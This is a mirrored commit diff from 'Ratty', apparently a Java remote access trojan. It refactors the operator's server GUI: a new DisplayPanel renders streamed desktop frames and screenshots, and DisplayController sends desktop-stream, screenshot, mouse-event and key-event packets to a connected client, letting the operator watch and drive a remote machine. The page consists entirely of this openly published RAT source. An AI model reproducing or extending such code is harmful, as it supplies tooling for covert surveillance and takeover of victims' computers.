mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
11 changed files with 265 additions and 140 deletions
-
6Ratty/src/de/sogomn/rat/Ratty.java
-
6Ratty/src/de/sogomn/rat/packet/DesktopPacket.java
-
2Ratty/src/de/sogomn/rat/packet/PacketType.java
-
151Ratty/src/de/sogomn/rat/server/gui/DisplayController.java
-
157Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
-
4Ratty/src/de/sogomn/rat/server/gui/FileTreeController.java
-
2Ratty/src/de/sogomn/rat/server/gui/IGuiController.java
-
2Ratty/src/de/sogomn/rat/server/gui/ISubController.java
-
2Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
-
63Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
-
2Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
@ -1,149 +1,80 @@ |
|||||
package de.sogomn.rat.server.gui; |
package de.sogomn.rat.server.gui; |
||||
|
|
||||
import java.awt.Color; |
|
||||
import java.awt.Graphics2D; |
|
||||
import java.awt.event.MouseEvent; |
|
||||
import java.awt.image.BufferedImage; |
import java.awt.image.BufferedImage; |
||||
|
|
||||
import de.sogomn.engine.IKeyboardListener; |
|
||||
import de.sogomn.engine.IMouseListener; |
|
||||
import de.sogomn.engine.Screen; |
|
||||
import de.sogomn.engine.Screen.ResizeBehavior; |
|
||||
import de.sogomn.engine.util.ImageUtils; |
|
||||
|
import de.sogomn.rat.packet.DesktopPacket; |
||||
import de.sogomn.rat.packet.IPacket; |
import de.sogomn.rat.packet.IPacket; |
||||
import de.sogomn.rat.packet.KeyEventPacket; |
import de.sogomn.rat.packet.KeyEventPacket; |
||||
import de.sogomn.rat.packet.MouseEventPacket; |
import de.sogomn.rat.packet.MouseEventPacket; |
||||
|
import de.sogomn.rat.packet.ScreenshotPacket; |
||||
import de.sogomn.rat.util.FrameEncoder.IFrame; |
import de.sogomn.rat.util.FrameEncoder.IFrame; |
||||
|
|
||||
public final class DisplayController implements ISubController, IMouseListener, IKeyboardListener { |
|
||||
|
final class DisplayController implements ISubController { |
||||
|
|
||||
private ServerClient client; |
private ServerClient client; |
||||
|
|
||||
private Screen screen; |
|
||||
private BufferedImage image; |
|
||||
|
|
||||
private static final int SCREEN_WIDTH = 1920 / 2; |
|
||||
private static final int SCREEN_HEIGHT = 1080 / 2; |
|
||||
|
private DisplayPanel displayPanel; |
||||
|
|
||||
public DisplayController(final ServerClient client) { |
public DisplayController(final ServerClient client) { |
||||
this.client = client; |
this.client = client; |
||||
} |
|
||||
|
|
||||
private Screen createScreen(final int width, final int height) { |
|
||||
final Screen screen = new Screen(width, height); |
|
||||
final String title = client.connection.getAddress(); |
|
||||
|
|
||||
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); |
|
||||
screen.setTitle(title); |
|
||||
screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); |
|
||||
screen.setBackgroundColor(Color.BLACK); |
|
||||
screen.addMouseListener(this); |
|
||||
screen.addKeyboardListener(this); |
|
||||
screen.addListener(g -> { |
|
||||
g.drawImage(image, 0, 0, null); |
|
||||
}); |
|
||||
|
|
||||
return screen; |
|
||||
} |
|
||||
|
|
||||
private void drawToScreenImage(final BufferedImage imagePart, final int x, final int y) { |
|
||||
final Graphics2D g = image.createGraphics(); |
|
||||
|
|
||||
ImageUtils.applyHighGraphics(g); |
|
||||
|
|
||||
g.drawImage(imagePart, x, y, null); |
|
||||
g.dispose(); |
|
||||
} |
|
||||
|
|
||||
public void updateScreen(final int width, final int height) { |
|
||||
if (screen == null || screen.getInitialWidth() != width || screen.getInitialHeight() != height || !screen.isOpen()) { |
|
||||
if (screen != null) { |
|
||||
screen.close(); |
|
||||
} |
|
||||
|
|
||||
screen = createScreen(width, height); |
|
||||
} |
|
||||
|
|
||||
screen.show(); |
|
||||
screen.redraw(); |
|
||||
} |
|
||||
|
|
||||
public void showImage(final BufferedImage image) { |
|
||||
this.image = image; |
|
||||
|
|
||||
final int width = image.getWidth(); |
|
||||
final int height = image.getHeight(); |
|
||||
|
|
||||
updateScreen(width, height); |
|
||||
} |
|
||||
|
displayPanel = new DisplayPanel(); |
||||
|
|
||||
public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) { |
|
||||
if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) { |
|
||||
image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB); |
|
||||
} |
|
||||
|
final String title = client.connection.getAddress(); |
||||
|
|
||||
drawToScreenImage(frame.image, frame.x, frame.y); |
|
||||
updateScreen(screenWidth, screenHeight); |
|
||||
|
displayPanel.addListener(this); |
||||
|
displayPanel.setTitle(title); |
||||
} |
} |
||||
|
|
||||
public void showFrames(final IFrame[] frames, final int screenWidth, final int screenHeight) { |
|
||||
if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) { |
|
||||
image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB); |
|
||||
} |
|
||||
|
private void handleDesktopPacket(final DesktopPacket packet) { |
||||
|
final boolean streamingDesktop = client.isStreamingDesktop(); |
||||
|
|
||||
for (final IFrame frame : frames) { |
|
||||
drawToScreenImage(frame.image, frame.x, frame.y); |
|
||||
|
if (!streamingDesktop) { |
||||
|
return; |
||||
} |
} |
||||
|
|
||||
updateScreen(screenWidth, screenHeight); |
|
||||
} |
|
||||
|
final IFrame[] frames = packet.getFrames(); |
||||
|
final int screenWidth = packet.getScreenWidth(); |
||||
|
final int screenHeight = packet.getScreenHeight(); |
||||
|
final DesktopPacket desktop = new DesktopPacket(); |
||||
|
|
||||
@Override |
|
||||
public void userInput(final String actionCommand) { |
|
||||
//... |
|
||||
|
client.connection.addPacket(desktop); |
||||
|
displayPanel.showFrames(frames, screenWidth, screenHeight); |
||||
} |
} |
||||
|
|
||||
@Override |
@Override |
||||
public void handlePacket(final IPacket packet) { |
|
||||
//... |
|
||||
} |
|
||||
|
public void userInput(final String command) { |
||||
|
if (command == RattyGui.DESKTOP) { |
||||
|
final DesktopPacket packet = new DesktopPacket(true); |
||||
|
|
||||
@Override |
|
||||
public void mouseEvent(final int x, final int y, final int button, final boolean flag) { |
|
||||
final byte type = flag ? MouseEventPacket.PRESS : MouseEventPacket.RELEASE; |
|
||||
final int buttonEvent; |
|
||||
|
|
||||
if (button == MouseEvent.BUTTON1) { |
|
||||
buttonEvent = MouseEvent.BUTTON1_DOWN_MASK; |
|
||||
} else if (button == MouseEvent.BUTTON2) { |
|
||||
buttonEvent = MouseEvent.BUTTON2_DOWN_MASK; |
|
||||
} else if (button == MouseEvent.BUTTON3) { |
|
||||
buttonEvent = MouseEvent.BUTTON3_DOWN_MASK; |
|
||||
} else { |
|
||||
buttonEvent = MouseEvent.NOBUTTON; |
|
||||
} |
|
||||
|
client.connection.addPacket(packet); |
||||
|
} else if (command == RattyGui.SCREENSHOT) { |
||||
|
final ScreenshotPacket packet = new ScreenshotPacket(); |
||||
|
|
||||
final MouseEventPacket packet = new MouseEventPacket(x, y, buttonEvent, type); |
|
||||
|
client.connection.addPacket(packet); |
||||
|
} else if (command == DisplayPanel.MOUSE_EVENT) { |
||||
|
final MouseEventPacket packet = displayPanel.getLastMouseEventPacket(); |
||||
|
|
||||
client.connection.addPacket(packet); |
|
||||
} |
|
||||
|
client.connection.addPacket(packet); |
||||
|
} else if (command == DisplayPanel.KEY_EVENT) { |
||||
|
final KeyEventPacket packet = displayPanel.getLastKeyEventPacket(); |
||||
|
|
||||
@Override |
|
||||
public void mouseMotionEvent(final int x, final int y, final int modifiers) { |
|
||||
//... |
|
||||
|
client.connection.addPacket(packet); |
||||
|
} |
||||
} |
} |
||||
|
|
||||
@Override |
@Override |
||||
public void mouseWheelEvent(final int x, final int y, final int rotation) { |
|
||||
//... |
|
||||
} |
|
||||
|
public void handlePacket(final IPacket packet) { |
||||
|
if (packet instanceof ScreenshotPacket) { |
||||
|
final ScreenshotPacket screenshot = (ScreenshotPacket)packet; |
||||
|
final BufferedImage image = screenshot.getImage(); |
||||
|
|
||||
@Override |
|
||||
public void keyboardEvent(final int key, final boolean flag) { |
|
||||
final byte type = flag ? KeyEventPacket.PRESS : KeyEventPacket.RELEASE; |
|
||||
final KeyEventPacket packet = new KeyEventPacket(key, type); |
|
||||
|
displayPanel.showImage(image); |
||||
|
} else if (packet instanceof DesktopPacket) { |
||||
|
final DesktopPacket desktop = (DesktopPacket)packet; |
||||
|
|
||||
client.connection.addPacket(packet); |
|
||||
|
handleDesktopPacket(desktop); |
||||
|
} |
||||
} |
} |
||||
|
|
||||
} |
} |
@ -0,0 +1,157 @@ |
|||||
|
package de.sogomn.rat.server.gui; |
||||
|
|
||||
|
import java.awt.Color; |
||||
|
import java.awt.Graphics2D; |
||||
|
import java.awt.event.MouseEvent; |
||||
|
import java.awt.image.BufferedImage; |
||||
|
|
||||
|
import de.sogomn.engine.IKeyboardListener; |
||||
|
import de.sogomn.engine.IMouseListener; |
||||
|
import de.sogomn.engine.Screen; |
||||
|
import de.sogomn.engine.Screen.ResizeBehavior; |
||||
|
import de.sogomn.engine.util.AbstractListenerContainer; |
||||
|
import de.sogomn.engine.util.ImageUtils; |
||||
|
import de.sogomn.rat.packet.KeyEventPacket; |
||||
|
import de.sogomn.rat.packet.MouseEventPacket; |
||||
|
import de.sogomn.rat.util.FrameEncoder.IFrame; |
||||
|
|
||||
|
public final class DisplayPanel extends AbstractListenerContainer<IGuiController> implements IMouseListener, IKeyboardListener { |
||||
|
|
||||
|
private String title; |
||||
|
private Screen screen; |
||||
|
private BufferedImage image; |
||||
|
|
||||
|
private MouseEventPacket lastMouseEventPacket; |
||||
|
private KeyEventPacket lastKeyEventPacket; |
||||
|
|
||||
|
private static final int SCREEN_WIDTH = 1920 / 2; |
||||
|
private static final int SCREEN_HEIGHT = 1080 / 2; |
||||
|
|
||||
|
public static final String MOUSE_EVENT = "Mouse event"; |
||||
|
public static final String KEY_EVENT = "Key event"; |
||||
|
|
||||
|
public DisplayPanel() { |
||||
|
//... |
||||
|
} |
||||
|
|
||||
|
private Screen createScreen(final int width, final int height) { |
||||
|
final Screen screen = new Screen(width, height); |
||||
|
|
||||
|
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); |
||||
|
screen.setTitle(title); |
||||
|
screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); |
||||
|
screen.setBackgroundColor(Color.BLACK); |
||||
|
screen.addMouseListener(this); |
||||
|
screen.addKeyboardListener(this); |
||||
|
screen.addListener(g -> { |
||||
|
g.drawImage(image, 0, 0, null); |
||||
|
}); |
||||
|
|
||||
|
return screen; |
||||
|
} |
||||
|
|
||||
|
private void drawToScreenImage(final BufferedImage imagePart, final int x, final int y) { |
||||
|
final Graphics2D g = image.createGraphics(); |
||||
|
|
||||
|
ImageUtils.applyHighGraphics(g); |
||||
|
|
||||
|
g.drawImage(imagePart, x, y, null); |
||||
|
g.dispose(); |
||||
|
} |
||||
|
|
||||
|
private void updateImage(final int screenWidth, final int screenHeight) { |
||||
|
if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) { |
||||
|
image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB); |
||||
|
} |
||||
|
} |
||||
|
|
||||
|
private void updateScreen(final int screenWidth, final int screenHeight) { |
||||
|
if (screen == null || screen.getInitialWidth() != screenWidth || screen.getInitialHeight() != screenHeight || !screen.isOpen()) { |
||||
|
if (screen != null) { |
||||
|
screen.close(); |
||||
|
} |
||||
|
|
||||
|
screen = createScreen(screenWidth, screenHeight); |
||||
|
} |
||||
|
|
||||
|
screen.show(); |
||||
|
screen.redraw(); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public void mouseEvent(final int x, final int y, final int button, final boolean flag) { |
||||
|
final byte type = flag ? MouseEventPacket.PRESS : MouseEventPacket.RELEASE; |
||||
|
final int buttonEvent; |
||||
|
|
||||
|
if (button == MouseEvent.BUTTON1) { |
||||
|
buttonEvent = MouseEvent.BUTTON1_DOWN_MASK; |
||||
|
} else if (button == MouseEvent.BUTTON2) { |
||||
|
buttonEvent = MouseEvent.BUTTON2_DOWN_MASK; |
||||
|
} else if (button == MouseEvent.BUTTON3) { |
||||
|
buttonEvent = MouseEvent.BUTTON3_DOWN_MASK; |
||||
|
} else { |
||||
|
buttonEvent = MouseEvent.NOBUTTON; |
||||
|
} |
||||
|
|
||||
|
lastMouseEventPacket = new MouseEventPacket(x, y, buttonEvent, type); |
||||
|
|
||||
|
notifyListeners(controller -> controller.userInput(MOUSE_EVENT)); |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public void mouseMotionEvent(final int x, final int y, final int modifiers) { |
||||
|
//... |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public void mouseWheelEvent(final int x, final int y, final int rotation) { |
||||
|
//... |
||||
|
} |
||||
|
|
||||
|
@Override |
||||
|
public void keyboardEvent(final int key, final boolean flag) { |
||||
|
final byte type = flag ? KeyEventPacket.PRESS : KeyEventPacket.RELEASE; |
||||
|
|
||||
|
lastKeyEventPacket = new KeyEventPacket(key, type); |
||||
|
|
||||
|
notifyListeners(controller -> controller.userInput(KEY_EVENT)); |
||||
|
} |
||||
|
|
||||
|
public void setTitle(final String title) { |
||||
|
this.title = title; |
||||
|
} |
||||
|
|
||||
|
public void showImage(final BufferedImage image) { |
||||
|
this.image = image; |
||||
|
|
||||
|
final int width = image.getWidth(); |
||||
|
final int height = image.getHeight(); |
||||
|
|
||||
|
updateScreen(width, height); |
||||
|
} |
||||
|
|
||||
|
public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) { |
||||
|
updateImage(screenWidth, screenHeight); |
||||
|
drawToScreenImage(frame.image, frame.x, frame.y); |
||||
|
updateScreen(screenWidth, screenHeight); |
||||
|
} |
||||
|
|
||||
|
public void showFrames(final IFrame[] frames, final int screenWidth, final int screenHeight) { |
||||
|
updateImage(screenWidth, screenHeight); |
||||
|
|
||||
|
for (final IFrame frame : frames) { |
||||
|
drawToScreenImage(frame.image, frame.x, frame.y); |
||||
|
} |
||||
|
|
||||
|
updateScreen(screenWidth, screenHeight); |
||||
|
} |
||||
|
|
||||
|
public MouseEventPacket getLastMouseEventPacket() { |
||||
|
return lastMouseEventPacket; |
||||
|
} |
||||
|
|
||||
|
public KeyEventPacket getLastKeyEventPacket() { |
||||
|
return lastKeyEventPacket; |
||||
|
} |
||||
|
|
||||
|
} |
@ -1,6 +1,6 @@ |
|||||
package de.sogomn.rat.server.gui; |
package de.sogomn.rat.server.gui; |
||||
|
|
||||
public interface IGuiController { |
|
||||
|
interface IGuiController { |
||||
|
|
||||
void userInput(final String command); |
void userInput(final String command); |
||||
|
|
||||
|
Write
Preview
Loading…
Cancel
Save
Reference in new issue